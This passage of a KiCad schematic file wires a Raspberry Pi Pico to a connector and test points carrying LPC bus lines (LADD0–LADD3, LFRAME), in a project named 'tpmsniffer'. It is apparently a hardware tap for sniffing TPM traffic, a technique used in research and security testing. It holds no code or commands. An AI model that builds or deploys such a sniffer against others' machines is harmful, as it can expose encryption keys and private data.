) 79 | (polyline 80 | (pts 81 | (xy 1.27 5.08) 82 | (xy 0.8636 5.08) 83 | ) 84 | (stroke (width 0.1524) (type default)) 85 | (fill (type none)) 86 | ) 87 | (rectangle (start 0.8636 -7.493) (end 0 -7.747) 88 | (stroke (width 0.1524) (type default)) 89 | (fill (type outline)) 90 | ) 91 | (rectangle (start 0.8636 -4.953) (end 0 -5.207) 92 | (stroke (width 0.1524) (type default)) 93 | (fill (type outline)) 94 | ) 95 | (rectangle (start 0.8636 -2.413) (end 0 -2.667) 96 | (stroke (width 0.1524) (type default)) 97 | (fill (type outline)) 98 | ) 99 | (rectangle (start 0.8636 0.127) (end 0 -0.127) 100 | (stroke (width 0.1524) (type default)) 101 | (fill (type outline)) 102 | ) 103 | (rectangle (start 0.8636 2.667) (end 0 2.413) 104 | (stroke (width 0.1524) (type default)) 105 | (fill (type outline)) 106 | ) 107 | (rectangle (start 0.8636 5.207) (end 0 4.953) 108 | (stroke (width 0.1524) (type default)) 109 | (fill (type outline)) 110 | ) 111 | (pin passive line (at 5.08 5.08 180) (length 3.81) 112 | (name "Pin_1" (effects (font (size 1.27 1.27)))) 113 | (number "1" (effects (font (size 1.27 1.27)))) 114 | ) 115 | (pin passive line (at 5.08 2.54 180) (length 3.81) 116 | (name "Pin_2" (effects (font (size 1.27 1.27)))) 117 | (number "2" (effects (font (size 1.27 1.27)))) 118 | ) 119 | (pin passive line (at 5.08 0 180) (length 3.81) 120 | (name "Pin_3" (effects (font (size 1.27 1.27)))) 121 | (number "3" (effects (font (size 1.27 1.27)))) 122 | ) 123 | (pin passive line (at 5.08 -2.54 180) (length 3.81) 124 | (name "Pin_4" (effects (font (size 1.27 1.27)))) 125 | (number "4" (effects (font (size 1.27 1.27)))) 126 | ) 127 | (pin passive line (at 5.08 -5.08 180) (length 3.81) 128 | (name "Pin_5" (effects (font (size 1.27 1.27)))) 129 | (number "5" (effects (font (size 1.27 1.27)))) 130 | ) 131 | (pin passive line (at 5.08 -7.62 180) (length 3.81) 132 | (name "Pin_6" (effects (font (size 1.27 1.27)))) 133 | (number "6" (effects (font (size 1.27 1.27)))) 134 | ) 135 | ) 136 | ) 137 | (symbol "Connector:TestPoint_Probe" (pin_numbers hide) (pin_names (offset 0.762) hide) (in_bom yes) (on_board yes) 138 | (property "Reference" "TP" (at 1.651 5.842 0) 139 | (effects (font (size 1.27 1.27))) 140 | ) 141 | (property "Value" "TestPoint_Probe" (at 1.651 4.064 0) 142 | (effects (font (size 1.27 1.27))) 143 | ) 144 | (property "Footprint" "" (at 5.08 0 0) 145 | (effects (font (size 1.27 1.27)) hide) 146 | ) 147 | (property "Datasheet" "~" (at 5.08 0 0) 148 | (effects (font (size 1.27 1.27)) hide) 149 | ) 150 | (property "ki_keywords" "test point tp" (at 0 0 0) 151 | (effects (font (size 1.27 1.27)) hide) 152 | ) 153 | (property "ki_description" "test point (alternative probe-style design)" (at 0 0 0) 154 | (effects (font (size 1.27 1.27)) hide) 155 | ) 156 | (property "ki_fp_filters" "Pin* Test*" (at 0 0 0) 157 | (effects (font (size 1.27 1.27)) hide) 158 | ) 159 | (symbol "TestPoint_Probe_0_1" 160 | (polyline 161 | (pts 162 | (xy 1.27 0.762) 163 | (xy 0 0) 164 | (xy 0.762 1.27) 165 | (xy 1.27 0.762) 166 | ) 167 | (stroke (width 0) (type default)) 168 | (fill (type outline)) 169 | ) 170 | (polyline 171 | (pts 172 | (xy 1.397 0.635) 173 | (xy 0.635 1.397) 174 | (xy 2.413 3.175) 175 | (xy 3.175 2.413) 176 | (xy 1.397 0.635) 177 | ) 178 | (stroke (width 0) (type default)) 179 | (fill (type background)) 180 | ) 181 | ) 182 | (symbol "TestPoint_Probe_1_1" 183 | (pin passive line (at 0 0 90) (length 0) 184 | (name "1" (effects (font (size 1.27 1.27)))) 185 | (number "1" (effects (font (size 1.27 1.27)))) 186 | ) 187 | ) 188 | ) 189 | (symbol "MCU_RaspberryPi_and_Boards:Pico" (in_bom yes) (on_board yes) 190 | (property "Reference" "U" (at -13.97 27.94 0) 191 | (effects (font (size 1.27 1.27))) 192 | ) 193 | (property "Value" "Pico" (at 0 19.05 0) 194 | (effects (font (size 1.27 1.27))) 195 | ) 196 | (property "Footprint" "RPi_Pico:RPi_Pico_SMD_TH" (at 0 0 90) 197 | (effects (font (size 1.27 1.27)) hide) 198 | ) 199 | (property "Datasheet" "" (at 0 0 0) 200 | (effects (font (size 1.27 1.27)) hide) 201 | ) 202 | (symbol "Pico_0_0" 203 | (text "Raspberry Pi Pico" (at 0 21.59 0) 204 | (effects (font (size 1.27 1.27))) 205 | ) 206 | ) 207 | (symbol "Pico_0_1" 208 | (rectangle (start -15.24 26.67) (end 15.24 -26.67) 209 | (stroke (width 0) (type default)) 210 | (fill (type background)) 211 | ) 212 | ) 213 | (symbol "Pico_1_1" 214 | (pin bidirectional line (at -17.78 24.13 0) (length 2.54) 215 | (name "GPIO0" (effects (font (size 1.27 1.27)))) 216 | (number "1" (effects (font (size 1.27 1.27)))) 217 | ) 218 | (pin bidirectional line (at -17.78 1.27 0) (length 2.54) 219 | (name "GPIO7" (effects (font (size 1.27 1.27)))) 220 | (number "10" (effects (font (size 1.27 1.27)))) 221 | ) 222 | (pin bidirectional line (at -17.78 -1.27 0) (length 2.54) 223 | (name "GPIO8" (effects (font (size 1.27 1.27)))) 224 | (number "11" (effects (font (size 1.27 1.27)))) 225 | ) 226 | (pin bidirectional line (at -17.78 -3.81 0) (length 2.54) 227 | (name "GPIO9" (effects (font (size 1.27 1.27)))) 228 | (number "12" (effects (font (size 1.27 1.27)))) 229 | ) 230 | (pin power_in line (at -17.78 -6.35 0) (length 2.54) 231 | (name "GND" (effects (font (size 1.27 1.27)))) 232 | (number "13" (effects (font (size 1.27 1.27)))) 233 | ) 234 | (pin bidirectional line (at -17.78 -8.89 0) (length 2.54) 235 | (name "GPIO10" (effects (font (size 1.27 1.27)))) 236 | (number "14" (effects (font (size 1.27 1.27)))) 237 | ) 238 | (pin bidirectional line (at -17.78 -11.43 0) (length 2.54) 239 | (name "GPIO11" (effects (font (size 1.27 1.27)))) 240 | (number "15" (effects (font (size 1.27 1.27)))) 241 | ) 242 | (pin bidirectional line (at -17.78 -13.97 0) (length 2.54) 243 | (name "GPIO12" (effects (font (size 1.27 1.27)))) 244 | (number "16" (effects (font (size 1.27 1.27)))) 245 | ) 246 | (pin bidirectional line (at -17.78 -16.51 0) (length 2.54) 247 | (name "GPIO13" (effects (font (size 1.27 1.27)))) 248 | (number "17" (effects (font (size 1.27 1.27)))) 249 | ) 250 | (pin power_in line (at -17.78 -19.05 0) (length 2.54) 251 | (name "GND" (effects (font (size 1.27 1.27)))) 252 | (number "18" (effects (font (size 1.27 1.27)))) 253 | ) 254 | (pin bidirectional line (at -17.78 -21.59 0) (length 2.54) 255 | (name "GPIO14" (effects (font (size 1.27 1.27)))) 256 | (number "19" (effects (font (size 1.27 1.27)))) 257 | ) 258 | (pin bidirectional line (at -17.78 21.59 0) (length 2.54) 259 | (name "GPIO1" (effects (font (size 1.27 1.27)))) 260 | (number "2" (effects (font (size 1.27 1.27)))) 261 | ) 262 | (pin bidirectional line (at -17.78 -24.13 0) (length 2.54) 263 | (name "GPIO15" (effects (font (size 1.27 1.27)))) 264 | (number "20" (effects (font (size 1.27 1.27)))) 265 | ) 266 | (pin bidirectional line (at 17.78 -24.13 180) (length 2.54) 267 | (name "GPIO16" (effects (font (size 1.27 1.27)))) 268 | (number "21" (effects (font (size 1.27 1.27)))) 269 | ) 270 | (pin bidirectional line (at 17.78 -21.59 180) (length 2.54) 271 | (name "GPIO17" (effects (font (size 1.27 1.27)))) 272 | (number "22" (effects (font (size 1.27 1.27)))) 273 | ) 274 | (pin power_in line (at 17.78 -19.05 180) (length 2.54) 275 | (name "GND" (effects (font (size 1.27 1.27)))) 276 | (number "23" (effects (font (size 1.27 1.27)))) 277 | ) 278 | (pin bidirectional line (at 17.78 -16.51 180) (length 2.54) 279 | (name "GPIO18" (effects (font (size 1.27 1.27)))) 280 | (number "24" (effects (font (size 1.27 1.27)))) 281 | ) 282 | (pin bidirectional line (at 17.78 -13.97 180) (length 2.54) 283 | (name "GPIO19" (effects (font (size 1.27 1.27)))) 284 | (number "25" (effects (font (size 1.27 1.27)))) 285 | ) 286 | (pin bidirectional line (at 17.78 -11.43 180) (length 2.54) 287 | (name "GPIO20" (effects (font (size 1.27 1.27)))) 288 | (number "26" (effects (font (size 1.27 1.27)))) 289 | ) 290 | (pin bidirectional line (at 17.78 -8.89 180) (length 2.54) 291 | (name "GPIO21" (effects (font (size 1.27 1.27)))) 292 | (number "27" (effects (font (size 1.27 1.27)))) 293 | ) 294 | (pin power_in line (at 17.78 -6.35 180) (length 2.54) 295 | (name "GND" (effects (font (size 1.27 1.27)))) 296 | (number "28" (effects (font (size 1.27 1.27)))) 297 | ) 298 | (pin bidirectional line (at 17.78 -3.81 180) (length 2.54) 299 | (name "GPIO22" (effects (font (size 1.27 1.27)))) 300 | (number "29" (effects (font (size 1.27 1.27)))) 301 | ) 302 | (pin power_in line (at -17.78 19.05 0) (length 2.54) 303 | (name "GND" (effects (font (size 1.27 1.27)))) 304 | (number "3" (effects (font (size 1.27 1.27)))) 305 | ) 306 | (pin input line (at 17.78 -1.27 180) (length 2.54) 307 | (name "RUN" (effects (font (size 1.27 1.27)))) 308 | (number "30" (effects (font (size 1.27 1.27)))) 309 | ) 310 | (pin bidirectional line (at 17.78 1.27 180) (length 2.54) 311 | (name "GPIO26_ADC0" (effects (font (size 1.27 1.27)))) 312 | (number "31" (effects (font (size 1.27 1.27)))) 313 | ) 314 | (pin bidirectional line (at 17.78 3.81 180) (length 2.54) 315 | (name "GPIO27_ADC1" (effects (font (size 1.27 1.27)))) 316 | (number "32" (effects (font (size 1.27 1.27)))) 317 | ) 318 | (pin power_in line (at 17.78 6.35 180) (length 2.54) 319 | (name "AGND" (effects (font (size 1.27 1.27)))) 320 | (number "33" (effects (font (size 1.27 1.27)))) 321 | ) 322 | (pin bidirectional line (at 17.78 8.89 180) (length 2.54) 323 | (name "GPIO28_ADC2" (effects (font (size 1.27 1.27)))) 324 | (number "34" (effects (font (size 1.27 1.27)))) 325 | ) 326 | (pin power_in line (at 17.78 11.43 180) (length 2.54) 327 | (name "ADC_VREF" (effects (font (size 1.27 1.27)))) 328 | (number "35" (effects (font (size 1.27 1.27)))) 329 | ) 330 | (pin power_in line (at 17.78 13.97 180) (length 2.54) 331 | (name "3V3" (effects (font (size 1.27 1.27)))) 332 | (number "36" (effects (font (size 1.27 1.27)))) 333 | ) 334 | (pin input line (at 17.78 16.51 180) (length 2.54) 335 | (name "3V3_EN" (effects (font (size 1.27 1.27)))) 336 | (number "37" (effects (font (size 1.27 1.27)))) 337 | ) 338 | (pin bidirectional line (at 17.78 19.05 180) (length 2.54) 339 | (name "GND" (effects (font (size 1.27 1.27)))) 340 | (number "38" (effects (font (size 1.27 1.27)))) 341 | ) 342 | (pin power_in line (at 17.78 21.59 180) (length 2.54) 343 | (name "VSYS" (effects (font (size 1.27 1.27)))) 344 | (number "39" (effects (font (size 1.27 1.27)))) 345 | ) 346 | (pin bidirectional line (at -17.78 16.51 0) (length 2.54) 347 | (name "GPIO2" (effects (font (size 1.27 1.27)))) 348 | (number "4" (effects (font (size 1.27 1.27)))) 349 | ) 350 | (pin power_in line (at 17.78 24.13 180) (length 2.54) 351 | (name "VBUS" (effects (font (size 1.27 1.27)))) 352 | (number "40" (effects (font (size 1.27 1.27)))) 353 | ) 354 | (pin input line (at -2.54 -29.21 90) (length 2.54) 355 | (name "SWCLK" (effects (font (size 1.27 1.27)))) 356 | (number "41" (effects (font (size 1.27 1.27)))) 357 | ) 358 | (pin power_in line (at 0 -29.21 90) (length 2.54) 359 | (name "GND" (effects (font (size 1.27 1.27)))) 360 | (number "42" (effects (font (size 1.27 1.27)))) 361 | ) 362 | (pin bidirectional line (at 2.54 -29.21 90) (length 2.54) 363 | (name "SWDIO" (effects (font (size 1.27 1.27)))) 364 | (number "43" (effects (font (size 1.27 1.27)))) 365 | ) 366 | (pin bidirectional line (at -17.78 13.97 0) (length 2.54) 367 | (name "GPIO3" (effects (font (size 1.27 1.27)))) 368 | (number "5" (effects (font (size 1.27 1.27)))) 369 | ) 370 | (pin bidirectional line (at -17.78 11.43 0) (length 2.54) 371 | (name "GPIO4" (effects (font (size 1.27 1.27)))) 372 | (number "6" (effects (font (size 1.27 1.27)))) 373 | ) 374 | (pin bidirectional line (at -17.78 8.89 0) (length 2.54) 375 | (name "GPIO5" (effects (font (size 1.27 1.27)))) 376 | (number "7" (effects (font (size 1.27 1.27)))) 377 | ) 378 | (pin power_in line (at -17.78 6.35 0) (length 2.54) 379 | (name "GND" (effects (font (size 1.27 1.27)))) 380 | (number "8" (effects (font (size 1.27 1.27)))) 381 | ) 382 | (pin bidirectional line (at -17.78 3.81 0) (length 2.54) 383 | (name "GPIO6" (effects (font (size 1.27 1.27)))) 384 | (number "9" (effects (font (size 1.27 1.27)))) 385 | ) 386 | ) 387 | ) 388 | (symbol "power:GND" (power) (pin_names (offset 0)) (in_bom yes) (on_board yes) 389 | (property "Reference" "#PWR" (at 0 -6.35 0) 390 | (effects (font (size 1.27 1.27)) hide) 391 | ) 392 | (property "Value" "GND" (at 0 -3.81 0) 393 | (effects (font (size 1.27 1.27))) 394 | ) 395 | (property "Footprint" "" (at 0 0 0) 396 | (effects (font (size 1.27 1.27)) hide) 397 | ) 398 | (property "Datasheet" "" (at 0 0 0) 399 | (effects (font (size 1.27 1.27)) hide) 400 | ) 401 | (property "ki_keywords" "global power" (at 0 0 0) 402 | (effects (font (size 1.27 1.27)) hide) 403 | ) 404 | (property "ki_description" "Power symbol creates a global label with name \"GND\" , ground" (at 0 0 0) 405 | (effects (font (size 1.27 1.27)) hide) 406 | ) 407 | (symbol "GND_0_1" 408 | (polyline 409 | (pts 410 | (xy 0 0) 411 | (xy 0 -1.27) 412 | (xy 1.27 -1.27) 413 | (xy 0 -2.54) 414 | (xy -1.27 -1.27) 415 | (xy 0 -1.27) 416 | ) 417 | (stroke (width 0) (type default)) 418 | (fill (type none)) 419 | ) 420 | ) 421 | (symbol "GND_1_1" 422 | (pin power_in line (at 0 0 270) (length 0) hide 423 | (name "GND" (effects (font (size 1.27 1.27)))) 424 | (number "1" (effects (font (size 1.27 1.27)))) 425 | ) 426 | ) 427 | ) 428 | ) 429 | 430 | (junction (at 120.65 88.9) (diameter 0) (color 0 0 0 0) 431 | (uuid 5b137285-1436-4cef-bd2a-500c1f13bb08) 432 | ) 433 | 434 | (wire (pts (xy 69.85 86.36) (xy 72.39 86.36)) 435 | (stroke (width 0) (type default)) 436 | (uuid 01dd3242-de8a-4ee5-9974-b9fcca93abeb) 437 | ) 438 | (wire (pts (xy 69.85 73.66) (xy 72.39 73.66)) 439 | (stroke (width 0) (type default)) 440 | (uuid 03998e50-5fe4-45ff-a983-a878aa2f1e8f) 441 | ) 442 | (wire (pts (xy 107.95 60.96) (xy 110.49 60.96)) 443 | (stroke (width 0) (type default)) 444 | (uuid 03c4d40e-cb43-4ac6-a188-497e11d051eb) 445 | ) 446 | (wire (pts (xy 107.95 43.18) (xy 124.46 43.18)) 447 | (stroke (width 0) (type default)) 448 | (uuid 0e6857f6-7eb3-4bf0-b488-b7df815ac3c1) 449 | ) 450 | (wire (pts (xy 124.46 78.74) (xy 120.65 78.74)) 451 | (stroke (width 0) (type default)) 452 | (uuid 21bf7b4c-e670-4575-8394-9a64adceb1a7) 453 | ) 454 | (wire (pts (xy 120.65 88.9) (xy 120.65 92.71)) 455 | (stroke (width 0) (type default)) 456 | (uuid 2260b922-be3b-42f8-9b22-bb49c85a5358) 457 | ) 458 | (wire (pts (xy 90.17 96.52) (xy 90.17 99.06)) 459 | (stroke (width 0) (type default)) 460 | (uuid 28a40e80-c672-4e63-a11b-2a8e95e6ef96) 461 | ) 462 | (wire (pts (xy 107.95 58.42) (xy 118.11 58.42)) 463 | (stroke (width 0) (type default)) 464 | (uuid 3108fd7f-c7bb-4e82-b86d-2f813c1874e5) 465 | ) 466 | (wire (pts (xy 119.38 55.88) (xy 119.38 63.5)) 467 | (stroke (width 0) (type default)) 468 | (uuid 39cda1b3-18d2-4e30-8d6f-9eda56db7f19) 469 | ) 470 | (wire (pts (xy 120.65 88.9) (xy 124.46 88.9)) 471 | (stroke (width 0) (type default)) 472 | (uuid 3b0cf65d-52b3-4700-be82-6cb91a4e69f9) 473 | ) 474 | (wire (pts (xy 107.95 55.88) (xy 119.38 55.88)) 475 | (stroke (width 0) (type default)) 476 | (uuid 581de322-2e0c-46e2-a631-2a794a3d6a9c) 477 | ) 478 | (wire (pts (xy 107.95 73.66) (xy 110.49 73.66)) 479 | (stroke (width 0) (type default)) 480 | (uuid 5f0a551a-64d0-43b4-9397-e27e611c745e) 481 | ) 482 | (wire (pts (xy 121.92 45.72) (xy 121.92 48.26)) 483 | (stroke (width 0) (type default)) 484 | (uuid 6372c0f7-b491-4f34-932d-bddcb893ecd7) 485 | ) 486 | (wire (pts (xy 121.92 48.26) (xy 124.46 48.26)) 487 | (stroke (width 0) (type default)) 488 | (uuid 6c6ca2a4-5052-4993-b014-a685623ef573) 489 | ) 490 | (wire (pts (xy 148.59 48.26) (xy 149.86 48.26)) 491 | (stroke (width 0) (type default)) 492 | (uuid 6facc871-dc34-4f57-a9c8-a00f0ec34092) 493 | ) 494 | (wire (pts (xy 69.85 48.26) (xy 72.39 48.26)) 495 | (stroke (width 0) (type default)) 496 | (uuid 74202433-d55b-4378-a963-5f77c68f3901) 497 | ) 498 | (wire (pts (xy 120.65 53.34) (xy 120.65 58.42)) 499 | (stroke (width 0) (type default)) 500 | (uuid 754d0f37-4a2d-4583-8952-ab7b85e4b7d1) 501 | ) 502 | (wire (pts (xy 119.38 63.5) (xy 124.46 63.5)) 503 | (stroke (width 0) (type default)) 504 | (uuid 75f6801e-ed4b-498e-b23e-0d933a8ada66) 505 | ) 506 | (wire (pts (xy 107.95 50.8) (xy 121.92 50.8)) 507 | (stroke (width 0) (type default)) 508 | (uuid 7b169c52-98cb-400b-a603-22e9d0154726) 509 | ) 510 | (wire (pts (xy 148.59 50.8) (xy 149.86 50.8)) 511 | (stroke (width 0) (type default)) 512 | (uuid 7e84ab3e-c207-4f50-a6d1-3715a53784c7) 513 | ) 514 | (wire (pts (xy 107.95 53.34) (xy 120.65 53.34)) 515 | (stroke (width 0) (type default)) 516 | (uuid 7ec0d485-1304-40a5-adb8-570f159e0e3b) 517 | ) 518 | (wire (pts (xy 118.11 58.42) (xy 118.11 68.58)) 519 | (stroke (width 0) (type default)) 520 | (uuid a1e09ff5-58f4-4620-8fa3-5534c6629353) 521 | ) 522 | (wire (pts (xy 148.59 53.34) (xy 149.86 53.34)) 523 | (stroke (width 0) (type default)) 524 | (uuid a874a5fe-b2fe-4979-984e-524cd8ad4ca0) 525 | ) 526 | (wire (pts (xy 148.59 45.72) (xy 149.86 45.72)) 527 | (stroke (width 0) (type default)) 528 | (uuid af434ee0-6de2-492f-a609-907676ae5e3e) 529 | ) 530 | (wire (pts (xy 107.95 86.36) (xy 110.49 86.36)) 531 | (stroke (width 0) (type default)) 532 | (uuid b4d59a27-4eb5-40ea-a1db-467c69b6324a) 533 | ) 534 | (wire (pts (xy 120.65 78.74) (xy 120.65 88.9)) 535 | (stroke (width 0) (type default)) 536 | (uuid bdf6363d-bc56-4642-a4db-6d3e9c704cf3) 537 | ) 538 | (wire (pts (xy 147.32 58.42) (xy 147.32 60.96)) 539 | (stroke (width 0) (type default)) 540 | (uuid bf59452f-1b72-449e-9e3d-1cd950a9f5f5) 541 | ) 542 | (wire (pts (xy 120.65 58.42) (xy 124.46 58.42)) 543 | (stroke (width 0) (type default)) 544 | (uuid c3d26692-8eea-4ac8-b605-b1ea504d65c3) 545 | ) 546 | (wire (pts (xy 118.11 68.58) (xy 124.46 68.58)) 547 | (stroke (width 0) (type default)) 548 | (uuid c7dde23f-cd1e-40d4-bbf3-a5769a832dd8) 549 | ) 550 | (wire (pts (xy 121.92 50.8) (xy 121.92 53.34)) 551 | (stroke (width 0) (type default)) 552 | (uuid cc6b7b0e-59d1-4617-95ee-ef5e891ca289) 553 | ) 554 | (wire (pts (xy 107.95 45.72) (xy 121.92 45.72)) 555 | (stroke (width 0) (type default)) 556 | (uuid ce9eef2e-beaf-40b1-9f84-ed232d872100) 557 | ) 558 | (wire (pts (xy 148.59 55.88) (xy 149.86 55.88)) 559 | (stroke (width 0) (type default)) 560 | (uuid d08b57a4-cc5f-4e1e-901f-6da34eb655ba) 561 | ) 562 | (wire (pts (xy 149.86 58.42) (xy 147.32 58.42)) 563 | (stroke (width 0) (type default)) 564 | (uuid ec5d2914-b475-445d-bddf-0f89260e640f) 565 | ) 566 | (wire (pts (xy 121.92 53.34) (xy 124.46 53.34)) 567 | (stroke (width 0) (type default)) 568 | (uuid f26038c3-d016-4640-9274-3638f5aacae4) 569 | ) 570 | 571 | (label "LADD3" (at 110.49 55.88 0) (fields_autoplaced) 572 | (effects (font (size 1.27 1.27)) (justify left bottom)) 573 | (uuid 002d41cd-2725-4e7b-aad8-94795e8ea719) 574 | ) 575 | (label "LADD0" (at 148.59 45.72 180) (fields_autoplaced) 576 | (effects (font (size 1.27 1.27)) (justify right bottom)) 577 | (uuid 0ea3e14d-f0ad-45fe-98c9-9b020962621a) 578 | ) 579 | (label "LADD3" (at 148.59 53.34 180) (fields_autoplaced) 580 | (effects (font (size 1.27 1.27)) (justify right bottom)) 581 | (uuid 319937d6-bbb1-4401-8e09-2d63b9620ae6) 582 | ) 583 | (label "LADD0" (at 110.49 45.72 0) (fields_autoplaced) 584 | (effects (font (size 1.27 1.27)) (justify left bottom)) 585 | (uuid 509d301d-3cc6-43b1-b067-2ed9d6922b00) 586 | ) 587 | (label "LFRAME" (at 110.49 58.42 0) (fields_autoplaced) 588 | (effects (font (size 1.27 1.27)) (justify left bottom)) 589 | (uuid 7a51e2bc-4c7f-4fa8-9bb2-2045e9309b48) 590 | ) 591 | (label "LADD2" (at 110.49 53.34 0) (fields_autoplaced) 592 | (effects (font (size 1.27 1.27)) (justify left bottom)) 593 | (uuid a26a0241-66f8-46f3-b4bf-5cd8024929ec) 594 | ) 595 | (label "LFRAME" (at 148.59 55.88 180) (fields_autoplaced) 596 | (effects (font (size 1.27 1.27)) (justify right bottom)) 597 | (uuid b5bdbc70-14ca-47ea-ac0f-3ecb22002677) 598 | ) 599 | (label "LADD1" (at 110.49 50.8 0) (fields_autoplaced) 600 | (effects (font (size 1.27 1.27)) (justify left bottom)) 601 | (uuid c6e9c210-dc65-42f5-a01e-82ad7482f614) 602 | ) 603 | (label "LADD1" (at 148.59 48.26 180) (fields_autoplaced) 604 | (effects (font (size 1.27 1.27)) (justify right bottom)) 605 | (uuid d6517039-8e50-4bf0-a53a-87f29897bc5d) 606 | ) 607 | (label "LADD2" (at 148.59 50.8 180) (fields_autoplaced) 608 | (effects (font (size 1.27 1.27)) (justify right bottom)) 609 | (uuid dbde3fc7-5196-4bf2-a21b-92306a1c1b29) 610 | ) 611 | 612 | (symbol (lib_id "MCU_RaspberryPi_and_Boards:Pico") (at 90.17 67.31 0) (mirror y) (unit 1) 613 | (in_bom yes) (on_board yes) (dnp no) (fields_autoplaced) 614 | (uuid 04e752a6-f02b-4914-bcf6-462d4b6fd73f) 615 | (property "Reference" "U1" (at 90.17 36.83 0) 616 | (effects (font (size 1.27 1.27))) 617 | ) 618 | (property "Value" "Pico" (at 90.17 39.37 0) 619 | (effects (font (size 1.27 1.27))) 620 | ) 621 | (property "Footprint" "MCU_RaspberryPi_and_Boards:RPi_Pico_SMD_TH" (at 90.17 67.31 90) 622 | (effects (font (size 1.27 1.27)) hide) 623 | ) 624 | (property "Datasheet" "" (at 90.17 67.31 0) 625 | (effects (font (size 1.27 1.27)) hide) 626 | ) 627 | (pin "1" (uuid 0d790e43-e30f-4d93-a25f-6de23bc29677)) 628 | (pin "10" (uuid 149d7d25-9dca-40af-b93b-1da507e85a9f)) 629 | (pin "11" (uuid a9e71a1c-c4df-41e5-a28d-559724ed874a)) 630 | (pin "12" (uuid 577b4db3-d6f9-43aa-9a79-b4fabf338531)) 631 | (pin "13" (uuid c2bbc245-e090-45fe-8972-a028b3b90fdc)) 632 | (pin "14" (uuid 37945e59-0242-402f-9f7c-d2a75cd9f523)) 633 | (pin "15" (uuid d3835924-fb5f-462f-a89d-0e0fc67a3094)) 634 | (pin "16" (uuid 73308bc8-041e-4c0d-9ad6-a9b3a220ba4d)) 635 | (pin "17" (uuid 262b6a1a-5da5-42fb-83de-db4d78ec88e7)) 636 | (pin "18" (uuid 10d8a73a-184b-4e52-934b-49f20e1a92e8)) 637 | (pin "19" (uuid 9d4cfeaa-40e0-47d6-9e51-796b12bd82c8)) 638 | (pin "2" (uuid e7c5283f-aea1-40b9-9352-b870e1724b5b)) 639 | (pin "20" (uuid 377e2e60-bb01-4084-97ee-e63e956c643b)) 640 | (pin "21" (uuid 954abebe-676a-4476-bb3c-c5a8c7f96b48)) 641 | (pin "22" (uuid fb1c0a89-d904-4524-9e66-f0417fecad63)) 642 | (pin "23" (uuid 44c6c4c5-f2a7-4c3f-ad2f-5454551da509)) 643 | (pin "24" (uuid 64b7017d-32f0-486d-8211-8e7177b5781e)) 644 | (pin "25" (uuid 99c9bb37-c966-44ab-a956-2f8a54e8dcf9)) 645 | (pin "26" (uuid 4bda541c-a51c-46c2-88fc-64c0ebf5d9a9)) 646 | (pin "27" (uuid bd9c1477-bfcb-4a2e-b6ea-d7049bfda639)) 647 | (pin "28" (uuid fb19ea5b-b312-4e8e-a748-5fb6016de228)) 648 | (pin "29" (uuid 03ca7ac2-f741-4938-b0a0-5dfec932adc3)) 649 | (pin "3" (uuid 7d4e0800-6807-454d-b380-bf1d004f7393)) 650 | (pin "30" (uuid de0dbc88-fa53-4f63-bb8f-c54542cca14e)) 651 | (pin "31" (uuid 1d6d90be-0035-43d7-9fc0-0ba253ac3d42)) 652 | (pin "32" (uuid 4e9ec050-628e-4523-ae6e-703eeef25576)) 653 | (pin "33" (uuid a180a0f6-0c06-4c59-af41-2ed7bd1672db)) 654 | (pin "34" (uuid 194b8938-6fda-4c2f-bc7b-b69824149a5c)) 655 | (pin "35" (uuid 795e60fd-2ebc-4327-bfbc-ce9239f64eb4)) 656 | (pin "36" (uuid 0a0df9c8-89e0-48d7-960a-4d325d9dc572)) 657 | (pin "37" (uuid bf5cf292-3a9a-4de9-97f5-5bd8f3584507)) 658 | (pin "38" (uuid c541983b-f642-4931-9ddc-7f68d7fccea5)) 659 | (pin "39" (uuid c38cbb6f-fcb3-4093-a6e4-04244a211232)) 660 | (pin "4" (uuid 3d123390-1c40-40e3-b1e5-b89f6b07ed53)) 661 | (pin "40" (uuid f847d9a5-1236-47f0-bab3-d7aa44150507)) 662 | (pin "41" (uuid 6bfe3883-7bd4-4305-b592-a4d88733bd72)) 663 | (pin "42" (uuid 4f03f15f-f497-4219-95be-24c974464272)) 664 | (pin "43" (uuid 310b811c-8f12-49f1-95c2-9872e83e43d3)) 665 | (pin "5" (uuid 444d64fc-da83-4944-980a-fef39488bc6d)) 666 | (pin "6" (uuid a804407f-b373-49cd-8973-d586498f7cfd)) 667 | (pin "7" (uuid 018545bc-cb90-4250-ac18-b8d4d001f339)) 668 | (pin "8" (uuid f587d777-ad2d-4ea6-8faf-8c605252100c)) 669 | (pin "9" (uuid 5650e38d-b806-48e9-855b-8e328a38586e)) 670 | (instances 671 | (project "tpmsniffer" 672 | (path "/692c4062-35b7-4554-aa43-8ed8c0452638" 673 | (reference "U1") (unit 1) 674 | ) 675 | ) 676 | ) 677 | ) 678 | 679 | (symbol (lib_id "power:GND") (at 110.49 73.66 90) (unit 1) 680 | (in_bom yes) (on_board yes) (dnp no) (fields_autoplaced) 681 | (uuid 095bc4b3-0eba-4dd6-833b-06d0a8deff1f) 682 | (property "Reference" "#PWR04" (at 116.84 73.66 0) 683 | (effects (font (size 1.27 1.27)) hide) 684 | ) 685 | (property "Value" "GND" (at 114.3 74.295 90) 686 | (effects (font (size 1.27 1.27)) (justify right)) 687 | ) 688 | (property "Footprint" "" (at 110.49 73.66 0) 689 | (effects (font (size 1.27 1.27)) hide) 690 | ) 691 | (property "Datasheet" "" (at 110.49 73.66 0) 692 | (effects (font (size 1.27 1.27)) hide) 693 | ) 694 | (pin "1" (uuid b9be5d92-6a0e-47fb-ae9c-50c1162e7cfb)) 695 | (instances 696 | (project "tpmsniffer" 697 | (path "/692c4062-35b7-4554-aa43-8ed8c0452638" 698 | (reference "#PWR04") (unit 1) 699 | ) 700 | ) 701 | ) 702 | ) 703 | 704 | (symbol (lib_id "power:GND") (at 90.17 99.06 0) (unit 1) 705 | (in_bom yes) (on_board yes) (dnp no) (fields_autoplaced) 706 | (uuid 175ec4e2-01d6-4afa-beb1-1e5faab9b9c8) 707 | (property "Reference" "#PWR09" (at 90.17 105.41 0) 708 | (effects (font (size 1.27 1.27)) hide) 709 | ) 710 | (property "Value" "GND" (at 90.17 104.14 0) 711 | (effects (font (size 1.27 1.27))) 712 | ) 713 | (property "Footprint" "" (at 90.17 99.06 0) 714 | (effects (font (size 1.27 1.27)) hide) 715 | ) 716 | (property "Datasheet" "" (at 90.17 99.06 0) 717 | (effects (font (size 1.27 1.27)) hide) 718 | ) 719 | (pin "1" (uuid 4c3efd97-df6d-4639-8b28-ac9518593b8c)) 720 | (instances 721 | (project "tpmsniffer" 722 | (path "/692c4062-35b7-4554-aa43-8ed8c0452638" 723 | (reference "#PWR09") (unit 1) 724 | ) 725 | ) 726 | ) 727 | ) 728 | 729 | 